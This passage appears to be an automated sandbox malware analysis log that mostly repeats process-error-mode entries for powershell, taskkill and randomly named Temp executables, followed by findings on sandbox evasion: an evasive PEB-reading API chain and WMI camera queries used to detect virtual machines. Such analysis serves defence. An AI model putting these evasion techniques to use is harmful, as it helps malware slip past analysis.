Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-9967

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
